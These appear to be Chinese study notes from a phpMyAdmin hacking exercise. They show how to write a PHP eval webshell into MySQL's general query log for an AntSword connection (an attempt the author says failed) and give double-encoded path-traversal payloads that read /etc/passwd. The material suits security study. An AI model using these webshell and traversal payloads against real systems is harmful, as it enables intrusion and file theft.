getshell姿势4: 打开mysql的查询语句日志功能—》蚁剑连接 【未成功】
1.show variables like 'general%';
//查询日志状态是否开启和存储位置
2.set global general_log = 'on';
//打开日志功能
3.set global general_log_file = "/tmp/qwsn.log";
//让存储日志可访问
4.show variables like 'general%';
//再次查询
5.执行sql查询执行,写入日志:
select '<?php eval($_POST[123]);?>';
//但是这里失败了...没有写入到日志文件内,权限不够
先这样吧,稀碎。。。。。。。.。。。。。。。。太菜了。。。。。。。。。。
(7)绕过check函数检查的其他姿势
1.windows
(1)由于文件名不能使用?,所以我们把?进行二次编码,因为Web服务器会自动解码一次,检查函数里又解码一次
(2)?target=sql.php%253f../../../../../../1.txt
2.linux:
(1)?target=sql.php?../../../../../etc/passwd
(2)?target=sql.php%253f../../../../../etc/passwd
最重要的一点,我们在代码审计的过程中遇到陌生的php函数的时候,要学会使用https://www.php.net/页面的search进行查询学习该函数的功能作用!!!